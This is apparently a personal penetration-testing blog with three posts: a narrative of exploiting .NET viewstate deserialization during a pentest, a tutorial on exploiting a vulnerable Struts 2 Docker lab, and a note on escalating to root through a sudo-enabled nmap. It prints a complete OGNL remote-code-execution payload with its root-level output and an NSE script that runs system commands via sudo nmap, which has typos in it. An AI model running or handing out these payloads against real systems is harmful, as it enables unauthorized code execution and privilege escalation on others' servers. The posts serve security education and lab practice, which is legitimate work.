Friday, November 5, 2021

A unique adventure of detection and exploitation in unsafe .NET object deserialization

On a recent pentest I came across a fun vulnerability that took me down a rabbit hole and I am dragging you with me! As always, I was using Firefox, burp pro, and a slim docker image of kali. While doing stuff burp pointed out that it saw base64 encoded data in a post request. Then it started giving false positives on java deserialization issues in a __VSX post var.









First its Apache commons collections, beanutils, then java 8. I knew none of this could be true as it’s not a java project, but just to be on the safe side I loaded up ysoserial and ran a few tests, with nothing to show. I was however seeing error messages in the responses that was telling me .NET deserialization was happening.

Error: System.ArgumentException: The serialized data is invalid.

So I got, what was thought to be valid serialized data, and attempted to decode it. Doing a base64 decode gave me gzip data, so I unzipped the data and was left with something that indeed looked like a .NET object.






Then I looked at YSoSerial.NET to help build payloads and I still needed to know what type of payload to use as it had many to choose from. Rather than brute force I wanted to verify what type of vuln I was looking at. So the framework seems to use secure viewstate functionality, because the burp extensions I was using for viewstate decoding was telling me that the view state data is secure, but this data was easily decoded and looked like page state type information. Also, the parameters name seemed to be  custom and the viewstate burp decoders would not be look for it. So, I had to find a way to ensure the __VSX param data was in fact valid viewstate data. I had to find a viewstate validator that takes individual input to verify I had viewstate data, luckily there are a number to choose from so that was easy. One thing most have in common is that they do not take gziped data, this was a little annoying. Doing all this allowed me to determine I need to use the TypeConfuseDelegate gadget chain and ObjectStateFormatter formatter to make payloads with YSoSerial.NET.







I took the above and, debase64 encoded it, gzipped it, rebase64 encoded it, url encoded special chars, stuffed all that in the __VSX post param and submitted. Checked burp collaborator client window a few seconds later and had a connection from the applications systems that gave me the username being used on the system by the application. 

 W00t! 

Well almost, next steps would have been to get a full functional shell and priv esc. I didn’t have time to get that far, and I have already been detected at this point. I don’t know for sure if it was my playing around or the exploit itself, so given more time to hack with I might be able to get RCE undetected, we will never know.

I think this vuln exists because the devs needed special data pushed to the app that was not available in the cookie cute viewstate data functions, so they created their own with no regard to current viewstate protections. I don’t know if I will ever see anything like this again and it was beautiful!  

I have never come across anything like this, it was a challenge and pleasure for me to explore. Some of the tools and techniques used were new for me and this all took a few days to work out despite the condensed version above. I hope you enjoyed my blundering with this vulnerability, and I hope it helps you in some way. Happy hacking.

Friday, June 4, 2021

Playing with Struts 2 vulns

 


If you don’t already have docker, get it, you will need it for this. You will also need Burp pro.

Go get apache-sturts2-CVE-2017-5638 docker image.


docker pull piesecurity/apache-struts2-cve-2017-5638


Expose localhost:8080 for that docker and run

Open your browser to http://localhost:8080/integration/saveGangster.action

Set Gangster Name to ${2+2} or %{2+2}

Age to 69 (dynamic)

Submit

On reload you will see “Gangster 4 added successfully”






Now we know we have injection!

Burp can help confirm with a bit more info to help along to exploit.

View from Burp dashboard:






Now lets look at getting that RCE.

We can start with a nice simple exploit, so open burp, make an easy POST request to the app, send it to 

repeater and start with this payload found at https://github.com/PrinceFPF/CVE-2019-

0230/blob/master/CVE-2019-0230.sh:

$(echo "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=

#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#contai

ner.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNa

mes().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(

#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'c

md.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new 

java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apac

he.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils

@copy(#process.getInputStream(),#ros)).(#ros.flush())}


URL encode the whole thing and submit.

You should get a response like:

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

Date: Thu, 25 Feb 2021 19:45:34 GMT

Connection: close

Content-Length: 39

uid=0(root) gid=0(root) groups=0(root)

w00t!!1

Here is a look at the code in play here (/usr/local/tomcat/webapps/ROOT/WEBINF/src/java/org/apache/struts2/showcase/integration/SaveGangsterAction.java):

package org.apache.struts2.showcase.integration;

import org.apache.struts.action.*;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletResponse;

public class SaveGangsterAction extends Action {

 /* (non-Javadoc)

 * @see org.apache.struts.action.Action#execute(org.apache.struts.action.ActionMapping, 

org.apache.struts.action.ActionForm, javax.servlet.http.HttpServletRequest, 

javax.servlet.http.HttpServletResponse)

 */

 @Override

 public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest 

request, HttpServletResponse response) throws Exception {

 // Some code to save the gangster to the db as necessary

 GangsterForm gform = (GangsterForm) form;

 ActionMessages messages = new ActionMessages();

 messages.add("msg", new ActionMessage("Gangster " + gform.getName() + " added 

successfully"));

 addMessages(request, messages);

 return mapping.findForward("success");

 }

}

The payload from the name variable in the POST request is stuffed into gform, which gets put inside an 

action message which evals it as Object-Graph Navigation Language (OGNL), p00f RCE. So if doing a 

source code review look for new ActionMessages(); and see how its being used.

This was built for CVE-2017-5638, but as you can see payloads for CVE-2019-0230 work as well so play around with both.

You can take it from here. Happy attacking!

Wednesday, May 19, 2021

NMAP nse script to run system cmds "in case of sudo"



On some recent research I found a system that had nmap and it was set up in sudoers! I know I thought that never happen in real life! It was a new version of nmap that didnt have the 'ol -i flag we see in the old priv esc guides, but I figured I could use an nse script to make system calls. A quick google and a few minutes later I had a working nse script that did the job. 


Here is the script:

os.execute("id") #replace with any cmd you like, i used id to verify r00t

portrule = fucntion()

end

action = fucntion()

end


save to /tmp/ and run like so:

sudo nmap --script=/tmp/hax0r.nse

and profit?